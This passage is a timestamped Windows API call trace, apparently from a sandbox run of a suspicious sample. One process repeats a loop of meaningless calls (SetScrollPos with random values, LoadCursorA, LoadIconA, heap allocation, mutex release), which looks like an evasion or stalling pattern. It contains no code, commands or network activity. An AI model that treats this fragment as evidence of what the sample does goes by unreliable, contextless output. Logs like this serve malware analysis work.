	[0095.478] CloseHandle (hObject=0x360) returned 1
	[0095.478] SetScrollPos (hWnd=0x0, nBar=3473465, nPos=-1030055126, bRedraw=1) returned 0
	[0095.478] RtlAllocateHeap (HeapHandle=0x2c80000, Flags=0x0, Size=0xc) returned 0x2c814d0
	[0095.478] LoadCursorA (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003
	[0095.478] LoadIconA (hInstance=0x0, lpIconName=0x7f00) returned 0x10027
	[0095.478] HeapFree (in: hHeap=0x2c80000, dwFlags=0x0, lpMem=0x2c814d0 | out: hHeap=0x2c80000) returned 1
	[0095.478] MsiGetMode (hInstall=0x773, eRunMode=0x10) returned 0
	[0095.478] GetCurrentProcessId () returned 0xb50
	[0095.478] GetLastError () returned 0x578
	[0095.478] GetLastError () returned 0x578
	[0095.478] GetLastError () returned 0x0
	[0095.478] ReleaseMutex (hMutex=0x360) returned 1
	[0095.478] CloseHandle (hObject=0x360) returned 1
	[0095.478] SetScrollPos (hWnd=0x0, nBar=3473465, nPos=-738543912, bRedraw=1) returned 0
	[0095.478] RtlAllocateHeap (HeapHandle=0x2c80000, Flags=0x0, Size=0xc) returned 0x2c814d0
	[0095.478] LoadCursorA (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003
	[0095.478] LoadIconA (hInstance=0x0, lpIconName=0x7f00) returned 0x10027
	[0095.478] HeapFree (in: hHeap=0x2c80000, dwFlags=0x0, lpMem=0x2c814d0 | out: hHeap=0x2c80000) returned 1
	[0095.478] MsiGetMode (hInstall=0x773, eRunMode=0x10) returned 0
	[0095.478] GetCurrentProcessId () returned 0xb50
	[0095.478] GetLastError () returned 0x578
	[0095.478] GetLastError () returned 0x578
	[0095.479] GetLastError () returned 0x0
	[0095.479] ReleaseMutex (hMutex=0x360) returned 1
	[0095.479] CloseHandle (hObject=0x360) returned 1
	[0095.479] SetScrollPos (hWnd=0x0, nBar=3473465, nPos=-437402746, bRedraw=1) returned 0
	[0095.479] RtlAllocateHeap (HeapHandle=0x2c80000, Flags=0x0, Size=0xc) returned 0x2c814d0
	[0095.479] LoadCursorA (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003
	[0095.479] LoadIconA (hInstance=0x0, lpIconName=0x7f00) returned 0x10027
	[0095.479] HeapFree (in: hHeap=0x2c80000, dwFlags=0x0, lpMem=0x2c814d0 | out: hHeap=0x2c80000) returned 1
	[0095.479] MsiGetMode (hInstall=0x773, eRunMode=0x10) returned 0
	[0095.479] GetCurrentProcessId () returned 0xb50
	[0095.479] GetLastError () returned 0x578
	[0095.479] GetLastError () returned 0x578
	[0095.479] GetLastError () returned 0x0
	[0095.479] ReleaseMutex (hMutex=0x360) returned 1
	[0095.479] CloseHandle (hObject=0x360) returned 1
	[0095.479] SetScrollPos (hWnd=0x0, nBar=3473465, nPos=-126631628, bRedraw=1) returned 0
	[0095.479] RtlAllocateHeap (HeapHandle=0x2c80000, Flags=0x0, Size=0xc) returned 0x2c814d0
	[0095.479] LoadCursorA (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003
	[0095.479] LoadIconA (hInstance=0x0, lpIconName=0x7f00) returned 0x10027
	[0095.479] HeapFree (in: hHeap=0x2c80000, dwFlags=0x0, lpMem=0x2c814d0 | out: hHeap=0x2c80000) returned 1
	[0095.479] MsiGetMode (hInstall=0x773, eRunMode=0x10) returned 0
	[0095.479] GetCurrentProcessId () returned 0xb50
	[0095.479] GetLastError () returned 0x578
	[0095.480] GetLastError () returned 0x578
	[0095.480] GetLastError () returned 0x0
	[0095.480] ReleaseMutex (hMutex=0x360) returned 1
	[0095.480] CloseHandle (hObject=0x360) returned 1
	[0095.480] SetScrollPos (hWnd=0x0, nBar=3473465, nPos=193769442, bRedraw=1) returned 0
	[0095.480] RtlAllocateHeap (HeapHandle=0x2c80000, Flags=0x0, Size=0xc) returned 0x2c814d0
	[0095.480] LoadCursorA (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003
	[0095.480] LoadIconA (hInstance=0x0, lpIconName=0x7f00) returned 0x10027
	[0095.480] HeapFree (in: hHeap=0x2c80000, dwFlags=0x0, lpMem=0x2c814d0 | out: hHeap=0x2c80000) returned 1
	[0095.480] MsiGetMode (hInstall=0x773, eRunMode=0x10) returned 0
	[0095.480] GetCurrentProcessId () returned 0xb50
	[0095.480] GetLastError () returned 0x578
	[0095.480] GetLastError () returned 0x578
	[0095.480] GetLastError () returned 0x0
	[0095.480] ReleaseMutex (hMutex=0x360) returned 1
	[0095.480] CloseHandle (hObject=0x360) returned 1
	[0095.480] SetScrollPos (hWnd=0x0, nBar=3473465, nPos=523800464, bRedraw=1) returned 0
	[0095.480] RtlAllocateHeap (HeapHandle=0x2c80000, Flags=0x0, Size=0xc) returned 0x2c814d0
	[0095.480] LoadCursorA (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003
	[0095.480] LoadIconA (hInstance=0x0, lpIconName=0x7f00) returned 0x10027
	[0095.481] HeapFree (in: hHeap=0x2c80000, dwFlags=0x0, lpMem=0x2c814d0 | out: hHeap=0x2c80000) returned 1
	[0095.481] MsiGetMode (hInstall=0x773, eRunMode=0x10) returned 0
	[0095.481] GetCurrentProcessId () returned 0xb50
	[0095.481] GetLastError () returned 0x578
	[0095.481] GetLastError () returned 0x578
	[0095.481] GetLastError () returned 0x0
	[0095.481] ReleaseMutex (hMutex=0x360) returned 1
	[0095.481] CloseHandle (hObject=0x360) returned 1
	[0095.481] SetScrollPos (hWnd=0x0, nBar=3473465, nPos=863461438, bRedraw=1) returned 0
	[0095.481] RtlAllocateHeap (HeapHandle=0x2c80000, Flags=0x0, Size=0xc) returned 0x2c814d0
	[0095.481] LoadCursorA (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003
	[0095.481] LoadIconA (hInstance=0x0, lpIconName=0x7f00) returned 0x10027
	[0095.481] HeapFree (in: hHeap=0x2c80000, dwFlags=0x0, lpMem=0x2c814d0 | out: hHeap=0x2c80000) returned 1
	[0095.481] MsiGetMode (hInstall=0x773, eRunMode=0x10) returned 0
	[0095.481] GetCurrentProcessId () returned 0xb50
	[0095.481] GetLastError () returned 0x578
	[0095.481] GetLastError () returned 0x578
	[0095.481] GetLastError () returned 0x0
	[0095.481] ReleaseMutex (hMutex=0x360) returned 1
	[0095.481] CloseHandle (hObject=0x360) returned 1
	[0095.481] SetScrollPos (hWnd=0x0, nBar=3473465, nPos=1212752364, bRedraw=1) returned 0
	[0095.481] RtlAllocateHeap (HeapHandle=0x2c80000, Flags=0x0, Size=0xc) returned 0x2c814d0
	[0095.481] LoadCursorA (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003
	[0095.482] LoadIconA (hInstance=0x0, lpIconName=0x7f00) returned 0x10027
	[0095.482] HeapFree (in: hHeap=0x2c80000, dwFlags=0x0, lpMem=0x2c814d0 | out: hHeap=0x2c80000) returned 1
	[0095.482] MsiGetMode (hInstall=0x773, eRunMode=0x10) returned 0
	[0095.482] GetCurrentProcessId () returned 0xb50
	[0095.482] GetLastError () returned 0x578
	[0095.482] GetLastError () returned 0x578
	[0095.482] GetLastError () returned 0x0
	[0095.482] ReleaseMutex (hMutex=0x360) returned 1
	[0095.482] CloseHandle (hObject=0x360) returned 1
	[0095.482] SetScrollPos (hWnd=0x0, nBar=3473465, nPos=1571673242, bRedraw=1) returned 0
	[0095.482] RtlAllocateHeap (HeapHandle=0x2c80000, Flags=0x0, Size=0xc) returned 0x2c814d0
	[0095.482] LoadCursorA (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003
	[0095.482] LoadIconA (hInstance=0x0, lpIconName=0x7f00) returned 0x10027
	[0095.482] HeapFree (in: hHeap=0x2c80000, dwFlags=0x0, lpMem=0x2c814d0 | out: hHeap=0x2c80000) returned 1
	[0095.482] MsiGetMode (hInstall=0x773, eRunMode=0x10) returned 0
	[0095.482] GetCurrentProcessId () returned 0xb50
	[0095.482] GetLastError () returned 0x578
	[0095.483] GetLastError () returned 0x578
	[0095.483] GetLastError () returned 0x0
	[0095.483] ReleaseMutex (hMutex=0x360) returned 1
	[0095.483] CloseHandle (hObject=0x360) returned 1
	[0095.483] SetScrollPos (hWnd=0x0, nBar=3473465, nPos=1940224072, bRedraw=1) returned 0
	[0095.483] RtlAllocateHeap (HeapHandle=0x2c80000, Flags=0x0, Size=0xc) returned 0x2c814d0
	[0095.483] LoadCursorA (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003
	[0095.483] LoadIconA (hInstance=0x0, lpIconName=0x7f00) returned 0x10027
	[0095.483] HeapFree (in: hHeap=0x2c80000, dwFlags=0x0, lpMem=0x2c814d0 | out: hHeap=0x2c80000) returned 1
	[0095.483] MsiGetMode (hInstall=0x773, eRunMode=0x10) returned 0
	[0095.483] GetCurrentProcessId () returned 0xb50
	[0095.483] GetLastError () returned 0x578
	[0095.483] GetLastError () returned 0x578
	[0095.483] GetLastError () returned 0x0
	[0095.483] ReleaseMutex (hMutex=0x360) returned 1
	[0095.483] CloseHandle (hObject=0x360) returned 1
	[0095.483] SetScrollPos (hWnd=0x0, nBar=3473465, nPos=-1976562442, bRedraw=1) returned 0
	[0095.483] RtlAllocateHeap (HeapHandle=0x2c80000, Flags=0x0, Size=0xc) returned 0x2c814d0
	[0095.483] LoadCursorA (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003
	[0095.483] LoadIconA (hInstance=0x0, lpIconName=0x7f00) returned 0x10027
	[0095.484] HeapFree (in: hHeap=0x2c80000, dwFlags=0x0, lpMem=0x2c814d0 | out: hHeap=0x2c80000) returned 1
	[0095.484] MsiGetMode (hInstall=0x773, eRunMode=0x10) returned 0
	[0095.484] GetCurrentProcessId () returned 0xb50
	[0095.484] GetLastError () returned 0x578
	[0095.484] GetLastError () returned 0x578
	[0095.484] GetLastError () returned 0x0
	[0095.484] ReleaseMutex (hMutex=0x360) returned 1
	[0095.484] CloseHandle (hObject=0x360) returned 1
	[0095.484] SetScrollPos (hWnd=0x0, nBar=3473465, nPos=-1588751708, bRedraw=1) returned 0
	[0095.484] RtlAllocateHeap (HeapHandle=0x2c80000, Flags=0x0, Size=0xc) returned 0x2c814d0
	[0095.484] LoadCursorA (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003
	[0095.484] LoadIconA (hInstance=0x0, lpIconName=0x7f00) returned 0x10027
	[0095.484] HeapFree (in: hHeap=0x2c80000, dwFlags=0x0, lpMem=0x2c814d0 | out: hHeap=0x2c80000) returned 1
	[0095.484] MsiGetMode (hInstall=0x773, eRunMode=0x10) returned 0
	[0095.484] GetCurrentProcessId () returned 0xb50
	[0095.484] GetLastError () returned 0x578
	[0095.484] GetLastError () returned 0x578
	[0095.484] GetLastError () returned 0x0
	[0095.484] ReleaseMutex (hMutex=0x360) returned 1
	[0095.484] CloseHandle (hObject=0x360) returned 1
	[0095.484] SetScrollPos (hWnd=0x0, nBar=3473465, nPos=-1191311022, bRedraw=1) returned 0
	[0095.484] RtlAllocateHeap (HeapHandle=0x2c80000, Flags=0x0, Size=0xc) returned 0x2c814d0
	[0095.485] LoadCursorA (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003
	[0095.485] LoadIconA (hInstance=0x0, lpIconName=0x7f00) returned 0x10027
	[0095.485] HeapFree (in: hHeap=0x2c80000, dwFlags=0x0, lpMem=0x2c814d0 | out: hHeap=0x2c80000) returned 1
	[0095.485] MsiGetMode (hInstall=0x773, eRunMode=0x10) returned 0
	[0095.485] GetCurrentProcessId () returned 0xb50
	[0095.485] GetLastError () returned 0x578
	[0095.485] GetLastError () returned 0x578
	[0095.485] GetLastError () returned 0x0
	[0095.485] ReleaseMutex (hMutex=0x360) returned 1
	[0095.485] CloseHandle (hObject=0x360) returned 1
	[0095.485] SetScrollPos (hWnd=0x0, nBar=3473465, nPos=-784240384, bRedraw=1) returned 0
	[0095.485] RtlAllocateHeap (HeapHandle=0x2c80000, Flags=0x0, Size=0xc) returned 0x2c814d0
	[0095.485] LoadCursorA (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003
	[0095.485] LoadIconA (hInstance=0x0, lpIconName=0x7f00) returned 0x10027
	[0095.485] HeapFree (in: hHeap=0x2c80000, dwFlags=0x0, lpMem=0x2c814d0 | out: hHeap=0x2c80000) returned 1
	[0095.485] MsiGetMode (hInstall=0x773, eRunMode=0x10) returned 0
	[0095.485] GetCurrentProcessId () returned 0xb50
	[0095.485] GetLastError () returned 0x578
	[0095.485] GetLastError () returned 0x578
	[0095.485] GetLastError () returned 0x0
	[0095.485] ReleaseMutex (hMutex=0x360) returned 1
	[0095.485] CloseHandle (hObject=0x360) returned 1
	[0095.485] SetScrollPos (hWnd=0x0, nBar=3473465, nPos=-367539794, bRedraw=1) returned 0
	[0095.486] RtlAllocateHeap (HeapHandle=0x2c80000, Flags=0x0, Size=0xc) returned 0x2c814d0
	[0095.486] LoadCursorA (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003
	[0095.486] LoadIconA (hInstance=0x0, lpIconName=0x7f00) returned 0x10027
	[0095.486] HeapFree (in: hHeap=0x2c80000, dwFlags=0x0, lpMem=0x2c814d0 | out: hHeap=0x2c80000) returned 1
	[0095.486] MsiGetMode (hInstall=0x773, eRunMode=0x10) returned 0
	[0095.486] GetCurrentProcessId () returned 0xb50
	[0095.486] GetLastError () returned 0x578
	[0095.486] GetLastError () returned 0x578
	[0095.486] GetLastError () returned 0x0
	[0095.486] ReleaseMutex (hMutex=0x360) returned 1
	[0095.486] CloseHandle (hObject=0x360) returned 1
	[0095.486] SetScrollPos (hWnd=0x0, nBar=3473465, nPos=58790748, bRedraw=1) returned 0
	[0095.486] RtlAllocateHeap (HeapHandle=0x2c80000, Flags=0x0, Size=0xc) returned 0x2c814d0
	[0095.486] LoadCursorA (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003
	[0095.486] LoadIconA (hInstance=0x0, lpIconName=0x7f00) returned 0x10027
	[0095.486] HeapFree (in: hHeap=0x2c80000, dwFlags=0x0, lpMem=0x2c814d0 | out: hHeap=0x2c80000) returned 1
	[0095.486] MsiGetMode (hInstall=0x773, eRunMode=0x10) returned 0
	[0095.486] GetCurrentProcessId () returned 0xb50
	[0095.486] GetLastError () returned 0x578
	[0095.486] GetLastError () returned 0x578
	[0095.486] GetLastError () returned 0x0
	[0095.486] ReleaseMutex (hMutex=0x360) returned 1
	[0095.486] CloseHandle (hObject=0x360) returned 1
	[0095.487] SetScrollPos (hWnd=0x0, nBar=3473465, nPos=494751242, bRedraw=1) returned 0
	[0095.487] RtlAllocateHeap (HeapHandle=0x2c80000, Flags=0x0, Size=0xc) returned 0x2c814d0
	[0095.487] LoadCursorA (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003
	[0095.487] LoadIconA (hInstance=0x0, lpIconName=0x7f00) returned 0x10027
	[0095.487] HeapFree (in: hHeap=0x2c80000, dwFlags=0x0, lpMem=0x2c814d0 | out: hHeap=0x2c80000) returned 1
	[0095.487] MsiGetMode (hInstall=0x773, eRunMode=0x10) returned 0
	[0095.487] GetCurrentProcessId () returned 0xb50
	[0095.487] GetLastError () returned 0x578
	[0095.487] GetLastError () returned 0x578
	[0095.487] GetLastError () returned 0x0
	[0095.487] ReleaseMutex (hMutex=0x360) returned 1
	[0095.487] CloseHandle (hObject=0x360) returned 1
	[0095.487] SetScrollPos (hWnd=0x0, nBar=3473465, nPos=940341688, bRedraw=1) returned 0
	[0095.487] RtlAllocateHeap (HeapHandle=0x2c80000, Flags=0x0, Size=0xc) returned 0x2c814d0
	[0095.487] LoadCursorA (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003
	[0095.487] LoadIconA (hInstance=0x0, lpIconName=0x7f00) returned 0x10027
	[0095.487] HeapFree (in: hHeap=0x2c80000, dwFlags=0x0, lpMem=0x2c814d0 | out: hHeap=0x2c80000) returned 1
	[0095.487] MsiGetMode (hInstall=0x773, eRunMode=0x10) returned 0
	[0095.487] GetCurrentProcessId () returned 0xb50
	[0095.487] GetLastError () returned 0x578
	[0095.487] GetLastError () returned 0x578
	[0095.488] GetLastError () returned 0x0
	[0095.488] ReleaseMutex (hMutex=0x360) returned 1
	[0095.488] CloseHandle (hObject=0x360) returned 1
	[0095.488] SetScrollPos (hWnd=0x0, nBar=3473465, nPos=1395562086, bRedraw=1) returned 0
	[0095.488] RtlAllocateHeap (HeapHandle=0x2c80000, Flags=0x0, Size=0xc) returned 0x2c814d0
	[0095.488] LoadCursorA (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003
	[0095.488] LoadIconA (hInstance=0x0, lpIconName=0x7f00) returned 0x10027
	[0095.488] HeapFree (in: hHeap=0x2c80000, dwFlags=0x0, lpMem=0x2c814d0 | out: hHeap=0x2c80000) returned 1
	[0095.488] MsiGetMode (hInstall=0x773, eRunMode=0x10) returned 0
	[0095.488] GetCurrentProcessId () returned 0xb50
	[0095.488] GetLastError () returned 0x578
	[0095.488] GetLastError () returned 0x578
	[0095.488] GetLastError () returned 0x0
	[0095.488] ReleaseMutex (hMutex=0x360) returned 1
	[0095.488] CloseHandle (hObject=0x360) returned 1
	[0095.488] SetScrollPos (hWnd=0x0, nBar=3473465, nPos=1860412436, bRedraw=1) returned 0
	[0095.488] RtlAllocateHeap (HeapHandle=0x2c80000, Flags=0x0, Size=0xc) returned 0x2c814d0
	[0095.488] LoadCursorA (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003
	[0095.488] LoadIconA (hInstance=0x0, lpIconName=0x7f00) returned 0x10027
	[0095.488] HeapFree (in: hHeap=0x2c80000, dwFlags=0x0, lpMem=0x2c814d0 | out: hHeap=0x2c80000) returned 1
	[0095.488] MsiGetMode (hInstall=0x773, eRunMode=0x10) returned 0
	[0095.488] GetCurrentProcessId () returned 0xb50
	[0095.488] GetLastError () returned 0x578
	[0095.488] GetLastError () returned 0x578
	[0095.489] GetLastError () returned 0x0
	[0095.489] ReleaseMutex (hMutex=0x360) returned 1
	[0095.489] CloseHandle (hObject=0x360) returned 1
	[0095.489] SetScrollPos (hWnd=0x0, nBar=3473465, nPos=-1960074558, bRedraw=1) returned 0
	[0095.489] RtlAllocateHeap (HeapHandle=0x2c80000, Flags=0x0, Size=0xc) returned 0x2c814d0
	[0095.489] LoadCursorA (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003
	[0095.489] LoadIconA (hInstance=0x0, lpIconName=0x7f00) returned 0x10027
	[0095.489] HeapFree (in: hHeap=0x2c80000, dwFlags=0x0, lpMem=0x2c814d0 | out: hHeap=0x2c80000) returned 1
	[0095.489] MsiGetMode (hInstall=0x773, eRunMode=0x10) returned 0
	[0095.489] GetCurrentProcessId () returned 0xb50
	[0095.489] GetLastError () returned 0x578
	[0095.489] GetLastError () returned 0x578
	[0095.489] GetLastError () returned 0x0
	[0095.489] ReleaseMutex (hMutex=0x360) returned 1
	[0095.489] CloseHandle (hObject=0x360) returned 1
	[0095.489] SetScrollPos (hWnd=0x0, nBar=3473465, nPos=-1475964304, bRedraw=1) returned 0
	[0095.489] RtlAllocateHeap (HeapHandle=0x2c80000, Flags=0x0, Size=0xc) returned 0x2c814d0
	[0095.489] LoadCursorA (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003
	[0095.489] LoadIconA (hInstance=0x0, lpIconName=0x7f00) returned 0x10027
	[0095.489] HeapFree (in: hHeap=0x2c80000, dwFlags=0x0, lpMem=0x2c814d0 | out: hHeap=0x2c80000) returned 1
	[0095.489] MsiGetMode (hInstall=0x773, eRunMode=0x10) returned 0
	[0095.489] GetCurrentProcessId () returned 0xb50
	[0095.490] GetLastError () returned 0x578
	[0095.490] GetLastError () returned 0x578
	[0095.490] GetLastError () returned 0x0
	[0095.490] ReleaseMutex (hMutex=0x360) returned 1
	[0095.490] CloseHandle (hObject=0x360) returned 1
	[0095.490] SetScrollPos (hWnd=0x0, nBar=3473465, nPos=-982224098, bRedraw=1) returned 0
	[0095.490] RtlAllocateHeap (HeapHandle=0x2c80000, Flags=0x0, Size=0xc) returned 0x2c814d0
	[0095.490] LoadCursorA (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003
	[0095.490] LoadIconA (hInstance=0x0, lpIconName=0x7f00) returned 0x10027
	[0095.490] HeapFree (in: hHeap=0x2c80000, dwFlags=0x0, lpMem=0x2c814d0 | out: hHeap=0x2c80000) returned 1
	[0095.490] MsiGetMode (hInstall=0x773, eRunMode=0x10) returned 0
	[0095.490] GetCurrentProcessId () returned 0xb50
	[0095.490] GetLastError () returned 0x578
	[0095.490] GetLastError () returned 0x578
	[0095.490] GetLastError () returned 0x0
	[0095.490] ReleaseMutex (hMutex=0x360) returned 1
	[0095.490] CloseHandle (hObject=0x360) returned 1
	[0095.490] SetScrollPos (hWnd=0x0, nBar=3473465, nPos=-478853940, bRedraw=1) returned 0
	[0095.490] RtlAllocateHeap (HeapHandle=0x2c80000, Flags=0x0, Size=0xc) returned 0x2c814d0
	[0095.490] LoadCursorA (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003
	[0095.490] LoadIconA (hInstance=0x0, lpIconName=0x7f00) returned 0x10027
	[0095.491] HeapFree (in: hHeap=0x2c80000, dwFlags=0x0, lpMem=0x2c814d0 | out: hHeap=0x2c80000) returned 1
	[0095.491] MsiGetMode (hInstall=0x773, eRunMode=0x10) returned 0
	[0095.491] GetCurrentProcessId () returned 0xb50
	[0095.491] GetLastError () returned 0x578
	[0095.491] GetLastError () returned 0x578
	[0095.491] GetLastError () returned 0x0
	[0095.491] ReleaseMutex (hMutex=0x360) returned 1
	[0095.491] CloseHandle (hObject=0x360) returned 1
	[0095.491] SetScrollPos (hWnd=0x0, nBar=3473465, nPos=34146170, bRedraw=1) returned 0
	[0095.491] RtlAllocateHeap (HeapHandle=0x2c80000, Flags=0x0, Size=0xc) returned 0x2c814d0
	[0095.491] LoadCursorA (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003
	[0095.491] LoadIconA (hInstance=0x0, lpIconName=0x7f00) returned 0x10027
	[0095.491] HeapFree (in: hHeap=0x2c80000, dwFlags=0x0, lpMem=0x2c814d0 | out: hHeap=0x2c80000) returned 1
	[0095.491] MsiGetMode (hInstall=0x773, eRunMode=0x10) returned 0
	[0095.491] GetCurrentProcessId () returned 0xb50
	[0095.491] GetLastError () returned 0x578
	[0095.491] GetLastError () returned 0x578
	[0095.491] GetLastError () returned 0x0
	[0095.491] ReleaseMutex (hMutex=0x360) returned 1
	[0095.491] CloseHandle (hObject=0x360) returned 1
	[0095.491] SetScrollPos (hWnd=0x0, nBar=3473465, nPos=556776232, bRedraw=1) returned 0
	[0095.491] RtlAllocateHeap (HeapHandle=0x2c80000, Flags=0x0, Size=0xc) returned 0x2c814d0
	[0095.491] LoadCursorA (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003
	[0095.492] LoadIconA (hInstance=0x0, lpIconName=0x7f00) returned 0x10027
	[0095.492] HeapFree (in: hHeap=0x2c80000, dwFlags=0x0, lpMem=0x2c814d0 | out: hHeap=0x2c80000) returned 1
	[0095.492] MsiGetMode (hInstall=0x773, eRunMode=0x10) returned 0
	[0095.492] GetCurrentProcessId () returned 0xb50
	[0095.492] GetLastError () returned 0x578
	[0095.492] GetLastError () returned 0x578
	[0095.492] GetLastError () returned 0x0
	[0095.492] ReleaseMutex (hMutex=0x360) returned 1
	[0095.492] CloseHandle (hObject=0x360) returned 1
	[0095.492] SetScrollPos (hWnd=0x0, nBar=3473465, nPos=1089036246, bRedraw=1) returned 0
	[0095.492] RtlAllocateHeap (HeapHandle=0x2c80000, Flags=0x0, Size=0xc) returned 0x2c814d0
	[0095.492] LoadCursorA (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003
	[0095.492] LoadIconA (hInstance=0x0, lpIconName=0x7f00) returned 0x10027
	[0095.492] HeapFree (in: hHeap=0x2c80000, dwFlags=0x0, lpMem=0x2c814d0 | out: hHeap=0x2c80000) returned 1
	[0095.492] MsiGetMode (hInstall=0x773, eRunMode=0x10) returned 0
	[0095.492] GetCurrentProcessId () returned 0xb50
	[0095.492] GetLastError () returned 0x578
	[0095.492] GetLastError () returned 0x578
	[0095.492] GetLastError () returned 0x0
	[0095.492] ReleaseMutex (hMutex=0x360) returned 1
	[0095.492] CloseHandle (hObject=0x360) returned 1
	[0095.492] SetScrollPos (hWnd=0x0, nBar=3473465, nPos=1630926212, bRedraw=1) returned 0
	[0095.492] RtlAllocateHeap (HeapHandle=0x2c80000, Flags=0x0, Size=0xc) returned 0x2c814d0
	[0095.493] LoadCursorA (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003
	[0095.493] LoadIconA (hInstance=0x0, lpIconName=0x7f00) returned 0x10027
	[0095.493] HeapFree (in: hHeap=0x2c80000, dwFlags=0x0, lpMem=0x2c814d0 | out: hHeap=0x2c80000) returned 1
	[0095.493] MsiGetMode (hInstall=0x773, eRunMode=0x10) returned 0
	[0095.493] GetCurrentProcessId () returned 0xb50
	[0095.493] GetLastError () returned 0x578
	[0095.493] GetLastError () returned 0x578
	[0095.493] GetLastError () returned 0x0
	[0095.493] ReleaseMutex (hMutex=0x360) returned 1
	[0095.493] CloseHandle (hObject=0x360) returned 1
	[0095.493] SetScrollPos (hWnd=0x0, nBar=3473465, nPos=-2112521166, bRedraw=1) returned 0
	[0095.493] RtlAllocateHeap (HeapHandle=0x2c80000, Flags=0x0, Size=0xc) returned 0x2c814d0
	[0095.493] LoadCursorA (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003
	[0095.493] LoadIconA (hInstance=0x0, lpIconName=0x7f00) returned 0x10027
	[0095.493] HeapFree (in: hHeap=0x2c80000, dwFlags=0x0, lpMem=0x2c814d0 | out: hHeap=0x2c80000) returned 1
	[0095.493] MsiGetMode (hInstall=0x773, eRunMode=0x10) returned 0
	[0095.493] GetCurrentProcessId () returned 0xb50
	[0095.493] GetLastError () returned 0x578
	[0095.493] GetLastError () returned 0x578
	[0095.493] GetLastError () returned 0x0
	[0095.493] ReleaseMutex (hMutex=0x360) returned 1
	[0095.493] CloseHandle (hObject=0x360) returned 1
	[0095.493] SetScrollPos (hWnd=0x0, nBar=3473465, nPos=-1551371296, bRedraw=1) returned 0
	[0095.494] RtlAllocateHeap (HeapHandle=0x2c80000, Flags=0x0, Size=0xc) returned 0x2c814d0
	[0095.494] LoadCursorA (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003
	[0095.494] LoadIconA (hInstance=0x0, lpIconName=0x7f00) returned 0x10027
	[0095.494] HeapFree (in: hHeap=0x2c80000, dwFlags=0x0, lpMem=0x2c814d0 | out: hHeap=0x2c80000) returned 1
	[0095.494] MsiGetMode (hInstall=0x773, eRunMode=0x10) returned 0
	[0095.494] GetCurrentProcessId () returned 0xb50
	[0095.494] GetLastError () returned 0x578
	[0095.494] GetLastError () returned 0x578
	[0095.494] GetLastError () returned 0x0
	[0095.494] ReleaseMutex (hMutex=0x360) returned 1
	[0095.494] CloseHandle (hObject=0x360) returned 1
	[0095.494] SetScrollPos (hWnd=0x0, nBar=3473465, nPos=-980591474, bRedraw=1) returned 0
	[0095.494] RtlAllocateHeap (HeapHandle=0x2c80000, Flags=0x0, Size=0xc) returned 0x2c814d0
	[0095.494] LoadCursorA (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003
	[0095.494] LoadIconA (hInstance=0x0, lpIconName=0x7f00) returned 0x10027
	[0095.494] HeapFree (in: hHeap=0x2c80000, dwFlags=0x0, lpMem=0x2c814d0 | out: hHeap=0x2c80000) returned 1
	[0095.494] MsiGetMode (hInstall=0x773, eRunMode=0x10) returned 0
	[0095.494] GetCurrentProcessId () returned 0xb50
	[0095.494] GetLastError () returned 0x578
	[0095.494] GetLastError () returned 0x578
	[0095.494] GetLastError () returned 0x0
	[0095.494] ReleaseMutex (hMutex=0x360) returned 1
	[0095.494] CloseHandle (hObject=0x360) returned 1
	[0095.495] SetScrollPos (hWnd=0x0, nBar=3473465, nPos=-400181700, bRedraw=1) returned 0
	[0095.495] RtlAllocateHeap (HeapHandle=0x2c80000, Flags=0x0, Size=0xc) returned 0x2c814d0
	[0095.495] LoadCursorA (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003
	[0095.495] LoadIconA (hInstance=0x0, lpIconName=0x7f00) returned 0x10027
	[0095.495] HeapFree (in: hHeap=0x2c80000, dwFlags=0x0, lpMem=0x2c814d0 | out: hHeap=0x2c80000) returned 1
	[0095.495] MsiGetMode (hInstall=0x773, eRunMode=0x10) returned 0
	[0095.495] GetCurrentProcessId () returned 0xb50
	[0095.495] GetLastError () returned 0x578
	[0095.495] GetLastError () returned 0x578
	[0095.495] GetLastError () returned 0x0
	[0095.495] ReleaseMutex (hMutex=0x360) returned 1
	[0095.495] CloseHandle (hObject=0x360) returned 1
	[0095.495] SetScrollPos (hWnd=0x0, nBar=3473465, nPos=189858026, bRedraw=1) returned 0
	[0095.495] RtlAllocateHeap (HeapHandle=0x2c80000, Flags=0x0, Size=0xc) returned 0x2c814d0
	[0095.495] LoadCursorA (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003
	[0095.495] LoadIconA (hInstance=0x0, lpIconName=0x7f00) returned 0x10027
	[0095.495] HeapFree (in: hHeap=0x2c80000, dwFlags=0x0, lpMem=0x2c814d0 | out: hHeap=0x2c80000) returned 1
	[0095.495] MsiGetMode (hInstall=0x773, eRunMode=0x10) returned 0
	[0095.495] GetCurrentProcessId () returned 0xb50
	[0095.495] GetLastError () returned 0x578
	[0095.495] GetLastError () returned 0x578
	[0095.496] GetLastError () returned 0x0
	[0095.496] ReleaseMutex (hMutex=0x360) returned 1
	[0095.496] CloseHandle (hObject=0x360) returned 1
	[0095.496] SetScrollPos (hWnd=0x0, nBar=3473465, nPos=789527704, bRedraw=1) returned 0
